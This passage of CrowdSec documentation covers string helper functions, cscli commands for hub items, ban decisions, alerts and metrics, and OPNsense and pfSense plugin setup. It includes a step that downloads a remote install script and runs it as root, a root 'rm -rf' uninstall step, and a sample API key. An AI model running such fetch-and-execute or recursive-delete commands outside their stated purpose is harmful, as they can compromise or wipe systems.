int`[โ€‹](#indexanys-string-chars-string-int "Direct link to indexanys-string-chars-string-int") IndexAny returns the index of the first instance of any Unicode code point from chars in s, or -1 if no Unicode code point from chars is present in s. ### `Join(elems []string, sep string) string`[โ€‹](#joinelems-string-sep-string-string "Direct link to joinelems-string-sep-string-string") Join concatenates the elements of its first argument to create a single string. The separator string sep is placed between elements in the resulting string. ### `Split(s string, sep string) []string`[โ€‹](#splits-string-sep-string-string "Direct link to splits-string-sep-string-string") Split slices s into all substrings separated by sep and returns a slice of the substrings between those separators. If s does not contain sep and sep is not empty, Split returns a slice of length 1 whose only element is s. If sep is empty, Split splits after each UTF-8 sequence. If both s and sep are empty, Split returns an empty slice. It is equivalent to SplitN with a count of -1. To split around the first instance of a separator, see Cut. ### `SplitAfter(s string, sep string) []string`[โ€‹](#splitafters-string-sep-string-string "Direct link to splitafters-string-sep-string-string") SplitAfter slices s into all substrings after each instance of sep and returns a slice of those substrings. If s does not contain sep and sep is not empty, SplitAfter returns a slice of length 1 whose only element is s. If sep is empty, SplitAfter splits after each UTF-8 sequence. If both s and sep are empty, SplitAfter returns an empty slice. It is equivalent to SplitAfterN with a count of -1. ### `SplitAfterN(s string, sep string, n int) []string `[โ€‹](#splitafterns-string-sep-string-n-int-string- "Direct link to splitafterns-string-sep-string-n-int-string-") SplitAfterN slices s into substrings after each instance of sep and returns a slice of those substrings. The count determines the number of substrings to return: TEXTCOPY ``` n > 0: at most n substrings; the last substring will be the unsplit remainder. n == 0: the result is nil (zero substrings) n < 0: all substrings ``` Edge cases for s and sep (for example, empty strings) are handled as described in the documentation for SplitAfter. ### `SplitN(s string, sep string, n int) []string`[โ€‹](#splitns-string-sep-string-n-int-string "Direct link to splitns-string-sep-string-n-int-string") SplitN slices s into substrings separated by sep and returns a slice of the substrings between those separators. The count determines the number of substrings to return: TEXTCOPY ``` n > 0: at most n substrings; the last substring will be the unsplit remainder. n == 0: the result is nil (zero substrings) n < 0: all substrings ``` Edge cases for s and sep (for example, empty strings) are handled as described in the documentation for Split. To split around the first instance of a separator, see Cut. ### `Replace(s string, old string, new string, n int) string`[โ€‹](#replaces-string-old-string-new-string-n-int-string "Direct link to replaces-string-old-string-new-string-n-int-string") Replace returns a copy of the string s with the first n non-overlapping instances of old replaced by new. If old is empty, it matches at the beginning of the string and after each UTF-8 sequence, yielding up to k+1 replacements for a k-rune string. If n < 0, there is no limit on the number of replacements. ### `ReplaceAll(s string, old string, new string) string`[โ€‹](#replacealls-string-old-string-new-string-string "Direct link to replacealls-string-old-string-new-string-string") ReplaceAll returns a copy of the string s with all non-overlapping instances of old replaced by new. If old is empty, it matches at the beginning of the string and after each UTF-8 sequence, yielding up to k+1 replacements for a k-rune string. ### `Trim(s string, cutset string) string`[โ€‹](#trims-string-cutset-string-string "Direct link to trims-string-cutset-string-string") Trim returns a slice of the string s with all leading and trailing Unicode code points contained in cutset removed. ### `TrimLeft(s string, cutset string) string`[โ€‹](#trimlefts-string-cutset-string-string "Direct link to trimlefts-string-cutset-string-string") TrimLeft returns a slice of the string s with all leading Unicode code points contained in cutset removed. To remove a prefix, use TrimPrefix instead. ### `TrimRight(s string, cutset string) string`[โ€‹](#trimrights-string-cutset-string-string "Direct link to trimrights-string-cutset-string-string") TrimRight returns a slice of the string s, with all trailing Unicode code points contained in cutset removed. To remove a suffix, use TrimSuffix instead. ### `TrimSpace(s string) string`[โ€‹](#trimspaces-string-string "Direct link to trimspaces-string-string") TrimSpace returns a slice of the string s, with all leading and trailing white space removed, as defined by Unicode. ### `TrimPrefix(s string, prefix string) string`[โ€‹](#trimprefixs-string-prefix-string-string "Direct link to trimprefixs-string-prefix-string-string") TrimPrefix returns s without the provided leading prefix string. If s doesn't start with prefix, s is returned unchanged. ### `TrimSuffix(s string, suffix string) string`[โ€‹](#trimsuffixs-string-suffix-string-string "Direct link to trimsuffixs-string-suffix-string-string") TrimSuffix returns s without the provided trailing suffix string. If s doesn't end with suffix, s is returned unchanged. ### `ToString(s) string`[โ€‹](#tostrings-string "Direct link to tostrings-string") Returns the string representation of s, if available (does a `s.(sttring)`). ### `LogInfo(format string, ...)`[โ€‹](#loginfoformat-string- "Direct link to loginfoformat-string-") Performs a logging call with the provided parameters, see [logrus reference](https://pkg.go.dev/github.com/sirupsen/logrus#Infof) for formatting info. --- # Crowdsec Tour ## List installed configurations[โ€‹](#list-installed-configurations "Direct link to List installed configurations") SHCOPY ``` sudo cscli hub list ``` This lists installed parsers, scenarios and/or collections. They represent what your CrowdSec setup can parse (logs) and detect (scenarios). Adding `-a` will list all the available configurations in the hub. See more [here](https://docs.crowdsec.net/u/user_guides/hub_mgmt.md). Listing Hub example SHCOPY ``` sudo cscli hub list INFO[0000] Loaded 13 collecs, 17 parsers, 21 scenarios, 3 post-overflow parsers INFO[0000] unmanaged items : 23 local, 0 tainted INFO[0000] PARSERS: -------------------------------------------------------------------------------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH -------------------------------------------------------------------------------------------------------------- crowdsecurity/mysql-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s01-parse/mysql-logs.yaml crowdsecurity/sshd-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s01-parse/sshd-logs.yaml crowdsecurity/dateparse-enrich โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/dateparse-enrich.yaml crowdsecurity/whitelists โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/whitelists.yaml crowdsecurity/geoip-enrich โœ”๏ธ enabled 0.2 /etc/crowdsec/parsers/s02-enrich/geoip-enrich.yaml crowdsecurity/syslog-logs โœ”๏ธ enabled 0.1 /etc/crowdsec/parsers/s00-raw/syslog-logs.yaml -------------------------------------------------------------------------------------------------------------- INFO[0000] SCENARIOS: ------------------------------------------------------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH ------------------------------------------------------------------------------------- crowdsecurity/mysql-bf โœ”๏ธ enabled 0.1 /etc/crowdsec/scenarios/mysql-bf.yaml crowdsecurity/ssh-bf โœ”๏ธ enabled 0.1 /etc/crowdsec/scenarios/ssh-bf.yaml ------------------------------------------------------------------------------------- INFO[0000] COLLECTIONS: --------------------------------------------------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH --------------------------------------------------------------------------------- crowdsecurity/mysql โœ”๏ธ enabled 0.1 /etc/crowdsec/collections/mysql.yaml crowdsecurity/sshd โœ”๏ธ enabled 0.1 /etc/crowdsec/collections/sshd.yaml crowdsecurity/linux โœ”๏ธ enabled 0.2 /etc/crowdsec/collections/linux.yaml --------------------------------------------------------------------------------- INFO[0000] POSTOVERFLOWS: -------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH -------------------------------------- -------------------------------------- ``` ## Installing configurations[โ€‹](#installing-configurations "Direct link to Installing configurations") SHCOPY ``` sudo cscli install ``` `configuration_type` can be `collections`, `parsers`, `scenarios` or `postoverflows`. You are most likely to only install collections that contain the needed parsers and scenarios to cover a technical stack : SHCOPY ``` sudo cscli collections install crowdsecurity/nginx ``` They can be found and browsed on the [Hub](https://hub.crowdsec.net/browse/#configurations). ## Upgrading configurations[โ€‹](#upgrading-configurations "Direct link to Upgrading configurations") SHCOPY ``` sudo cscli hub update sudo cscli hub upgrade ``` This will upgrade your existing parsers, scenarios and collections to the latest available version. You can as well use a more granular approach like `sudo cscli upgrade `. `configuration_type` can be `parsers`, `scenarios`, `collections`, `hub` or `postoverflows`. They can be found and browsed on the [Hub](https://hub.crowdsec.net/browse/#configurations). See more [here](https://docs.crowdsec.net/u/user_guides/hub_mgmt.md). ## List active decisions[โ€‹](#list-active-decisions "Direct link to List active decisions") SHCOPY ``` sudo cscli decisions list ``` If you just deployed CrowdSec, the list might be empty, but don't worry, it simply means you haven't yet been attacked, congrats! Adding `-a` flag will as well list the decisions you received from the [community blocklist](https://docs.crowdsec.net/docs/next/central_api/intro.md). Check [decisions](https://docs.crowdsec.net/u/user_guides/hub_mgmt.md) management for more ! Listing decisions example SHCOPY ``` sudo cscli decisions list +-----+-----------+-------------+------------------------------------+--------+---------+----+--------+--------------------+----------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | +-----+-----------+-------------+------------------------------------+--------+---------+----+--------+--------------------+----------+ | 802 | cscli | Ip:1.2.3.5 | manual 'ban' from | ban | | | 1 | 3h50m58.10039043s | 802 | | | | | 'b76cc7b1bbdc489e93909d2043031de8' | | | | | | | | 801 | crowdsec | Ip:192.168.1.1 | crowdsecurity/ssh-bf | ban | | | 6 | 3h59m45.100387557s | 801 | +-----+-----------+-------------+------------------------------------+--------+---------+----+--------+--------------------+----------+ ``` There are different decisions `SOURCE`: * `crowdsec` : decisions triggered locally by the crowdsec agent * `CAPI` : decisions fetched from the Crowdsec Central API * `csli` : decisions added via `sudo cscli decisions add` ## Add/Remove decisions[โ€‹](#addremove-decisions "Direct link to Add/Remove decisions") SHCOPY ``` cscli decisions add -i 192.168.1.1 cscli decisions delete -i 192.168.1.1 ``` Those commands will respectively add a manual decision for ip `192.168.1.1` (with default parameters such as duration and such), and remove all active decisions for ip `192.168.1.1`. ## List alerts[โ€‹](#list-alerts "Direct link to List alerts") SHCOPY ``` sudo cscli alerts list ``` While decisions won't be shown anymore once they expire (or are manually deleted), the alerts will stay visible, allowing you to keep track of past decisions. You will here see the alerts, even if the associated decisions expired. Listing alerts example SHCOPY ``` sudo cscli alerts list --since 1h +----+-------------+----------------------------+---------+----+-----------+---------------------------+ | ID | SCOPE:VALUE | REASON | COUNTRY | AS | DECISIONS | CREATED AT | +----+-------------+----------------------------+---------+----+-----------+---------------------------+ | 5 | Ip:1.2.3.6 | crowdsecurity/ssh-bf (0.1) | US | | ban:1 | 2020-10-29T11:33:36+01:00 | +----+-------------+----------------------------+---------+----+-----------+---------------------------+ ``` ## Monitor on-going activity (prometheus)[โ€‹](#monitor-on-going-activity-prometheus "Direct link to Monitor on-going activity (prometheus)") SHCOPY ``` sudo cscli metrics ``` The metrics displayed are extracted from CrowdSec prometheus. The indicators are grouped by scope : * Buckets : Know which buckets are created and/or overflew (scenario efficiency) * Acquisition : Know which file produce logs and if thy are parsed (or end up in bucket) * Parser : Know how frequently the individual parsers are triggered and their success rate * Local Api Metrics : Know how often each endpoint of crowdsec's local API has been used Listing metrics example SHCOPY ``` sudo cscli metrics INFO[0000] Buckets Metrics: +--------------------------------------+---------------+-----------+--------------+--------+---------+ | BUCKET | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED | +--------------------------------------+---------------+-----------+--------------+--------+---------+ | crowdsecurity/http-bad-user-agent | - | - | 7 | 7 | 7 | | crowdsecurity/http-crawl-non_statics | - | - | 82 | 107 | 82 | | crowdsecurity/http-probing | - | - | 2 | 2 | 2 | | crowdsecurity/http-sensitive-files | - | - | 1 | 1 | 1 | | crowdsecurity/ssh-bf | 16 | 5562 | 7788 | 41542 | 2210 | | crowdsecurity/ssh-bf_user-enum | 8 | - | 6679 | 12571 | 6671 | +--------------------------------------+---------------+-----------+--------------+--------+---------+ INFO[0000] Acquisition Metrics: +---------------------------+------------+--------------+----------------+------------------------+ | SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET | +---------------------------+------------+--------------+----------------+------------------------+ | /var/log/auth.log | 92978 | 41542 | 51436 | 54113 | | /var/log/messages | 2 | - | 2 | - | | /var/log/nginx/access.log | 124 | 99 | 25 | 88 | | /var/log/nginx/error.log | 287 | 63 | 224 | 29 | | /var/log/syslog | 27271 | - | 27271 | - | +---------------------------+------------+--------------+----------------+------------------------+ INFO[0000] Parser Metrics: +--------------------------------+--------+--------+----------+ | PARSERS | HITS | PARSED | UNPARSED | +--------------------------------+--------+--------+----------+ | child-crowdsecurity/http-logs | 486 | 232 | 254 | | child-crowdsecurity/nginx-logs | 723 | 162 | 561 | | child-crowdsecurity/sshd-logs | 381792 | 41542 | 340250 | | crowdsecurity/dateparse-enrich | 41704 | 41704 | - | | crowdsecurity/geoip-enrich | 41641 | 41641 | - | | crowdsecurity/http-logs | 162 | 59 | 103 | | crowdsecurity/nginx-logs | 411 | 162 | 249 | | crowdsecurity/non-syslog | 411 | 411 | - | | crowdsecurity/sshd-logs | 92126 | 41542 | 50584 | | crowdsecurity/syslog-logs | 120251 | 120249 | 2 | | crowdsecurity/whitelists | 41704 | 41704 | - | +--------------------------------+--------+--------+----------+ INFO[0000] Local Api Metrics: +----------------------+--------+------+ | ROUTE | METHOD | HITS | +----------------------+--------+------+ | /v1/alerts | GET | 3 | | /v1/alerts | POST | 4673 | | /v1/decisions/stream | GET | 6498 | | /v1/watchers/login | POST | 23 | +----------------------+--------+------+ INFO[0000] Local Api Machines Metrics: +----------------------------------+------------+--------+------+ | MACHINE | ROUTE | METHOD | HITS | +----------------------------------+------------+--------+------+ | 9b0656a34ee24343969bf2f30321ba2 | /v1/alerts | POST | 4673 | | 9b0656a34ee24343969bf2f30321ba2 | /v1/alerts | GET | 3 | +----------------------------------+------------+--------+------+ INFO[0000] Local Api Bouncers Metrics: +------------------------------+----------------------+--------+------+ | BOUNCER | ROUTE | METHOD | HITS | +------------------------------+----------------------+--------+------+ | cs-firewall-bouncer-n3W19Qua | /v1/decisions/stream | GET | 6498 | +------------------------------+----------------------+--------+------+ ``` ### Reading metrics[โ€‹](#reading-metrics "Direct link to Reading metrics") Those metrics are a great way to know if your configuration is correct: The `Acquisition Metrics` is a great way to know if your parsers are setup correctly: * If you have 0 **LINES PARSED** for a source : You are probably *missing* a parser, or you have a custom log format that prevents the parser from understanding your logs. * However, it's perfectly OK to have a lot of **LINES UNPARSED** : Crowdsec is not a SIEM, and only parses the logs that are relevant to its scenarios. For example, [ssh parser](https://hub.crowdsec.net/author/crowdsecurity/configurations/sshd-logs), only cares about failed authentication events (at the time of writing). * **LINES POURED TO BUCKET** tell you that your scenarios are matching your log sources : it means that some events from this log source made all their way to an actual scenario The `Parser Metrics` will let you troubleshoot eventual parser misconfigurations : * **HITS** is how many events where fed to this specific parser * **PARSED** and **UNPARSED** indicate how many events successfully come out of the parser For example, if you have a custom log format in nginx that is not supported by the default parser, you will end up seeing a lot of **UNPARSED** for this specific parser, and 0 for **PARSED**. For more advanced metrics understanding, [take a look at the dedicated prometheus documentation](https://docs.crowdsec.net/docs/next/observability/prometheus.md). ## Deploy dashboard[โ€‹](#deploy-dashboard "Direct link to Deploy dashboard") caution Running [metabase](https://www.metabase.com/) (the dashboard deployed by `cscli dashboard setup`) [requires 1-2Gb of RAM](https://www.metabase.com/docs/latest/troubleshooting-guide/running.html). Metabase container is **only** available for amd64. SHCOPY ``` sudo cscli dashboard setup --listen 0.0.0.0 ``` CrowdSec provides various observability tools including Prometheus metrics and command-line interfaces. It requires docker, [installation instructions are available here](https://docs.docker.com/engine/install/). ## Logs[โ€‹](#logs "Direct link to Logs") SHCOPY ``` sudo tail -f /var/log/crowdsec.log ``` * `/var/log/crowdsec.log` is the main log, it shows ongoing decisions and acquisition/parsing/scenario errors. * `/var/log/crowdsec_api.log` is the access log of the local api (LAPI) ## Scalability[โ€‹](#scalability "Direct link to Scalability") CrowdSec uses go-routines for parsing and enriching logs, pouring events to buckets and manage outputs. By default, one routine of each exists (should be enough to handle \~1K EP/s), and can be changed in `crowdsec_service` of the main configuration file via the [parser\_routines](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#parser_routines), [buckets\_routines](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#buckets_routines) and [output\_routines](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#output_routines) directives. Please keep in mind that thanks to the [http API](https://crowdsecurity.github.io/api_doc/lapi/), the workload of log parsing can be splitted amongst several agents pushing to a single [LAPI](https://docs.crowdsec.net/docs/next/local_api/intro.md). --- # OPNsense plugin The CrowdSec plugin for OPNsense is installed from the official repositories. It includes a Log Processor, LAPI service, and Remediation Component. This allows you to: * block attacking traffic from entering the network (protect machines that don't have CrowdSec) * deploy a log processor on OPNsense and scan its logs for attacks * use the OPNsense server as LAPI for other log processors and remediation components * list the hub plugins (parsers, scenarios..) and decisions on the OPNsense admin interface ## Plugin installation[โ€‹](#plugin-installation "Direct link to Plugin installation") Click `System > Firmware > Plugins` menu. Select os-crowdsec. It will deploy three packages: * `os-crowdsec`, the plugin itself * `crowdsec` * `crowdsec-firewall-bouncer` Do not enable/start the services from the terminal like you would on a standard freebsd system, because the plugin takes care of that. Refresh the page and go to `Services > CrowdSec > Overview` to verify the running services and installed configurations. Great, you now have CrowdSec installed on your system. Have a look at the [post installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) to see how to to configure and optimize it, these recommendations are valid for any system. ## Plugin Configuration[โ€‹](#plugin-configuration "Direct link to Plugin Configuration") You will find some options under `Services > CrowdSec > Settings`. You will see the first three are enabled by default: Log Processor (previously known as IDS), LAPI and Remediation Component (previously known as IPS). You can disable them for testing or if you have special requirements. The parsers, scenarios and all objects from the [CrowdSec Hub](https://hub.crowdsec.net/) are periodically upgraded. The [crowdsecurity/freebsd](https://hub.crowdsec.net/author/crowdsecurity/collections/freebsd) and [crowdsecurity/opnsense](https://hub.crowdsec.net/author/crowdsecurity/collections/opnsense) collections are installed by default. Since crowdsec 1.6.3, private IP networks are whitelisted by default as well. This means for example an IP from a LAN or WAN which is on 192.168.x.y won't get blocked by a local decision (community blocklists don't contain private IPs). If you want to revert to the previous behavior, to block private IPs as well, you can remove the related parser. SHCOPY ``` [root@OPNsense ~]# cscli parsers remove crowdsecurity/whitelists ``` If on the other hand you upgrade from a version before 1.6.3, you need to install the lists yourself. ## Testing the remediation component[โ€‹](#testing-the-remediation-component "Direct link to Testing the remediation component") A quick way to test that everything is working correctly is to execute the following command. Your ssh session should freeze and you should be kicked out from the firewall. You will not be able to connect to it (from the same IP address) for two minutes. It might be a good idea to have a secondary IP from which you can connect, should anything go wrong. SHCOPY ``` [root@OPNsense ~]# cscli decisions add -t ban -d 2m -i # replace with your connecting IP address ``` This is a more secure way to test than attempting to brute-force yourself: the default ban period is 4 hours, and crowdsec reads the logs from the beginning, so it could ban you even if you failed ssh login 10 times in 30 seconds two hours before installing it. You can find a list of all available flags with `cscli decisions add --help`. ### How do I find my connecting IP address to test?[โ€‹](#how-do-i-find-my-connecting-ip-address-to-test "Direct link to How do I find my connecting IP address to test?") We have provided some examples below to help you find your connecting IP address. Depending on your shell / environment, you may need to use a different command. SHCOPY ``` [root@OPNsense ~]# echo $SSH_CLIENT | awk '{print $1}' [root@OPNsense ~]# w -h | awk '{print $3}' | sort -u ``` ## Remote LAPI setup (optional)[โ€‹](#remote-lapi-setup-optional "Direct link to Remote LAPI setup (optional)") If you don't want to run the LAPI service on the OPNsense machine (because it's small/slow or you already have LAPI somewhere) then you'll have to manually tweak the configuration (thanks [Jarno Rankinen](https://github.com/0ranki)). Be aware: the list of machines and bouncers shown in the Overview tab will be incorrect. In the current version, the crowdsec instance on OPNsense has no way (and no permission) to retrieve the list of machines and bouncers from the LAPI if it resides on another server, so it displays the local (and outdated) information. The following steps assume you already have set up a central LAPI server that is reachable by the OPNsense instance. You will also need SSH access with root permissions to both OPNsense and LAPI server. * On the LAPI server, edit `config.yaml` (`/usr/local/etc/crowdsec/` on FreeBSD, `/etc/crowdsec/` on Linux). If `api.server.listen_uri` is localhost, you need to change it to something reachable by OPNsense, for example `192.168.122.214:8080`. Update `local_api_credentials.yaml` too, but with the http\:// this time: `http://192.168.122.214:8080`. Restart CrowdSec. * In the Settings tab, unselect `Enable LAPI` and select `Manual LAPI configuration`. Ignore the other two LAPI options (they are the url and port to use when listening, not where to connect). Click Apply. * Register the opnsense machine to the LAPI server: SHCOPY ``` [root@OPNsense ~]# cscli lapi register -u http://192.168.122.214:8080 ``` On the LAPI server, run SHCOPY ``` [root@lapi-server ~]# cscli machines list ---------------------------------------------------------------------------------------------------... NAME IP ADDRESS LAST UPDATE STATUS ... ---------------------------------------------------------------------------------------------------... be689d27c623aa393d1c8604eda5d1b47a62526b2e2e0201 192.168.122.214 2022-07-05T14:15:36Z โœ”๏ธ v1.3.4... 97f403614b44aa27d60c1ff8adb93d6fae8f9d9697e1a98c 192.168.122.246 2022-07-05T14:21:43Z ๐Ÿšซ ... ---------------------------------------------------------------------------------------------------... [root@lapi-server ~]# cscli machines validate 97f403614b44aa27d60c1ff8adb93d6fae8f9d9697e1a98c INFO[05-07-2022 04:34:54 PM] machine 'edb8a102b4d54bdba9d5c70e5b4e766dqJvFTxnYsk8gyMsG' validated successfully ``` * Add the bouncer: SHCOPY ``` [root@lapi-server ~]# cscli bouncers add opnsense Api key for 'opnsense': a8605055a065fd06b86ecac84e9e9ae4 Please keep this key since you will not be able to retrieve it! ``` You can use any other name instead of opnsense. * On the OPNsense machine, edit `/usr/local/etc/crowdsec/bouncers/crowdsec-firewall-bouncer.yaml`. Fill the `api_key` and `api_url` fields. Then restart both services, either with `service oscrowdsec restart` or by clicking `Apply` again in the Settings tab. For more information on the topic: * How to set up a CrowdSec multi-server installation ([tutorial on crowdsec.net](https://www.crowdsec.net/blog/multi-server-setup) or [Linux Journal](https://www.linuxjournal.com/content/how-set-crowdsec-multi-server-installation)) * [Improve The CrowdSec Multi-Server Installation With HTTPS Between Agents](https://www.linuxjournal.com/content/improve-crowdsec-multi-server-installation-https-between-agents) (Linux Journal) --- # pfSense The CrowdSec package for pfSense requires some manual installation steps, as it is not yet available in the official repositories. Three types of setup are supported: **Small** (remediation only) - the pfSense machine receives blocklists from a Security Engine that you are running on a different machine. Attacking traffic is blocked at the firewall by (configurable) pfSense rules. **Medium** (small+log processor) - in addition to enforcing blocklists, the pfSense machine can detect attacks directed at the firewall itself, for example port scans. The data about the attacks is sent (for analysis and possibly sharing) to a Security Engine that you are running on a different machine. **Large** (medium+LAPI) - deploy a fully autonomous Security Engine on the firewall system and allow other Log Processors to connect to it. Requires a persistent `/var` directory (no RAM disk) and a slightly larger pfSense machine, depending on the amount of data to be processed. If you are not already a CrowdSec user, the Large setup is the easiest: just leave the default values to enable remediation, log processor and Local API. info The CrowdSec configuration is not transferred when you restore a pfSense backup, and you'll need to reconfigure it or backup separately. Major pfSense upgrades may also require you to re-install or re-configure CrowdSec so please verify that it's running afterwards. We have submitted the package for inclusion in the official repository which should smooth out these issues. ## Installing the package[โ€‹](#installing-the-package "Direct link to Installing the package") * Open an ssh connection to your pfSense box * Download the install script and run it: SHCOPY ``` # fetch https://raw.githubusercontent.com/crowdsecurity/pfSense-pkg-crowdsec/refs/heads/main/install-crowdsec.sh # sh install-crowdsec.sh ``` * Do not activate or run the services yourself, because pfSense will take care of it. If you want to install a beta or an older version, please refer to [the release page](https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases) of the repository and provide the --release option to the install script. * Alternatively, you can download the packages to install in the `Assets` part of the release, and run the following commands in the right order. SHCOPY ``` # setenv IGNORE_OSVERSION yes # pkg add -f # pkg add -f # pkg add -f # pkg add -f # pkg add -f ``` The direct links are for the most popular Community Edition of pfSense, architecture amd64. If you run on ARM or a different base version of FreeBSD, you will find .tar files in the release assets containing the packages for the possible platforms. ## Configuration[โ€‹](#configuration "Direct link to Configuration") Once the package and its dependencies are installed, go to `Services/CrowdSec`. The options *Remediation Component*, *Log Processor* and *Local API* should be enabled. Click Save. ![Config part 1](/assets/images/config-1-393cab85d43136eb60dc76043d61a2a4.png) With the size analogy, the default is a "Large", autonomous installation. For a "Medium", disable *Local API* and fill the fields in the *Remote LAPI* section. ![Config part 2](/assets/images/config-2-remote-2d7f3eb49219bbeee3e6a4e7267a49f5.png) For a "Small", disable *Log Processor* too. CrowdSec on pfSense is fully functional from the command line but the web interface is read-only, with the exception of decision revocation (unban). Most other actions require the shell or the [CrowdSec Console](https://app.crowdsec.net). For simple things, `Diagnostics/Command Prompt` works as well as ssh. ![Command Prompt](/assets/images/command-prompt-fd53e0bd310757fa7831501ab8d8313c.png) You are free to edit the files in `/usr/local/etc/crowdsec`, although some setting may be overwritten by the pfSense package if they are mandatory. caution *Ram Disk*: unless you disable Local API, ensure that you are [not using a RAM disk](https://docs.netgate.com/pfsense/en/latest/config/advanced-misc.html#ram-disk-settings) for the /var directory. The persistent CrowdSec database and GeoIP tables are in `/var/db`. If you really need a RAM disk, you can still use the log processor and remediation but you will need to connect them to a remote CrowdSec instance. ## Service Status[โ€‹](#service-status "Direct link to Service Status") In the page `Status/CrowdSec` you can see * registered log processors and remediation components ![Remediation components](/assets/images/status-remediation-components-3782a1ed1143e0dd227ae23683b21263.png) * installed hub items (collections, scenarios, parsers, postoverflows) ![Hub collections](/assets/images/status-hub-collections-859c773d316d5bab1ec57a0c0c089fcd.png) * alerts and local decisions ![Alerts](/assets/images/status-alerts-81d24c11bce88ddbdb5b0b89acfaf816.png) All tables are read-only with an exception: you can delete decisions one by one, to unban an IP for example. An IP may have been banned for several reasons, which counts as separate decisions. All hub objects are periodically upgraded with a cron job. ## Detecting attacks[โ€‹](#detecting-attacks "Direct link to Detecting attacks") If a Log Processor is running, the following scenarios are enabled by default: * portscan * ssh brute-force * pfSense admin UI brute-force * HTTP vulnerability probing These will trigger a ban on the attacking IP (4 hours by default) and report it to the CrowdSec Central API (meaning [timestamp, scenario, attacking IP](https://docs.crowdsec.net/docs/concepts/), for inclusion in the Community Blocklist. You can add scenarios to detect other types of attack on the pfSense server, or [connect several log processors](https://doc.crowdsec.net/docs/next/user_guides/multiserver_setup) to the same LAPI node. Other types of remediation are possible (ex. captcha test for scraping attempts). If disk space is not an issue, you can [increase the maximum size](https://docs.netgate.com/pfsense/en/latest/monitoring/logs/size.html) of log files before they are compressed and rotated. This will help us in case you report acquisition issues and we need to match the application behavior with the content of the acquired logs. We recommend you to [register to the Console](https://app.crowdsec.net/), especially if you protect several machines. ## Processing logs[โ€‹](#processing-logs "Direct link to Processing logs") If a collection, parser or scenario can be applied to a software that you are running on pfSense, you add it with `cscli collections install ...`, then you need to configure where CrowdSec will find the logs. New acquisition files should go in `/usr/local/etc/crowdsec/acquis.d/`. See `pfsense.yaml` for an example. The option `poll_without_inotify: true` is required if the log sources are symlinks. Make sure to reload or restart CrowdSec when you add new data sources. ## Diagnostics[โ€‹](#diagnostics "Direct link to Diagnostics") Under `Diagnostics/CrowdSec Metrics` you can check if the logs are acquired and the events are triggered correctly. ![Diagnostics acquisition](/assets/images/diagnostic-metrics-acquisition-5ec50e289c56f0d8d6d35143e7c10b7e.png) ![Diagnostics local api](/assets/images/diagnostic-metrics-local-api-1300d5238ec232afe820e7d6490687f3.png) For real monitoring, you can fetch the same metrics with [Prometheus](https://docs.crowdsec.net/docs/observability/prometheus/) (Grafana dashboard included) Telegraf or your favorite solution. If you are not running a LAPI or a Log Processor, some metrics are always empty. ## Logs[โ€‹](#logs "Direct link to Logs") You can see the Security Engine logs in `Status/System Logs/Packages/crowdsec`. ![Logs](/assets/images/logs-d6af4cac523dbcc20755679efd69e67a.png) Other logs not shown in the UI are in `/var/log/crowdsec/crowdsec_api.log` and `crowdsec-firewall-bouncer.log`. ## Service Management[โ€‹](#service-management "Direct link to Service Management") Both services, Security Engine (crowdsec) and Remediation (crowdsec-firewall-bouncer) can be controlled from `Status/Services`. ![Services](/assets/images/status-services-026a3996ec00590434e109f7055c15ce.png) The equivalent shell commands are `service crowdsec.sh start/stop/restart` and `service crowdsec_firewall.sh start/stop/restart`. Note the ending **.sh**! ## Viewing blocked IPs[โ€‹](#viewing-blocked-ips "Direct link to Viewing blocked IPs") You can see the tables of the blocked IPs in `Diagnostics/Tables` ![Blocked IPs](/assets/images/blocked-ips-ae3fbd56dece690809915a21b1f24a9f.png) Or from the shell, with the commands `pfctl -T show -t crowdsec_blacklists` (IPv4) and `pfctl -T show -t crowdsec6_blacklists` (IPv6). To show the same data with more context, use `cscli decisions list -a`. ## Testing[โ€‹](#testing "Direct link to Testing") A quick way to test that everything is working correctly end-to-end is to execute the following command. Your ssh session should freeze and you should be kicked out from the firewall. You will not be able to connect to it (from the same IP address) for two minutes. It might be a good idea to have a secondary IP from which you can connect, should anything go wrong. SHCOPY ``` # cscli decisions add -t ban -d 2m -i ``` You may have to disable the *Anti-lockout* rule in `System/Advanced/Admin Access` for the time of the test. This is a more secure way to test than attempting to brute-force yourself: the default ban period is 4 hours, and CrowdSec reads the logs from the beginning, so it could ban you even if you failed ssh login 10 times in 30 seconds two hours before installing it. It must be noted that the [Login Protection](https://docs.netgate.com/pfsense/en/latest/config/advanced-admin.html#login-protection) service which is enabled by default on pfSense can be triggered - and block a brute force attacker - before CrowdSec does, because it's more sensitive. Still, some attacks that are not detected by Login Protection will be detected by CrowdSec and shared. If you need more CrowdSec tests you may want to temporarily disable Login Protection, depending on the scenario. ## LAN / private networks whitelist[โ€‹](#lan--private-networks-whitelist "Direct link to LAN / private networks whitelist") Since crowdsec 1.6.3, private IP networks are whitelisted by default as well. This means for example an IP from a LAN or WAN which is on 192.168.x.y won't get blocked by a local decision (community blocklists don't contain private IPs). If you want to revert to the previous behavior, to block private IPs as well, you can remove the related parser. SHCOPY ``` [root@OPNsense ~]# cscli parsers remove crowdsecurity/whitelists ``` If on the other hand you upgrade from a version before 1.6.3, you need to install the lists yourself. ## Uninstalling[โ€‹](#uninstalling "Direct link to Uninstalling") In most cases, just remove the `crowdsec` package from `System/Package Manager/Installed Packages`, or run the installation script with the --uninstall option. This won't remove the database or configuration files, just in case you want to reinstall CrowdSec later. If you need to make sure you removed all traces of CrowdSec, you can run the following commands: SHCOPY ``` # pkg remove pfSense-pkg-crowdsec crowdsec crowdsec-firewall-bouncer # rm -rf /usr/local/etc/crowdsec 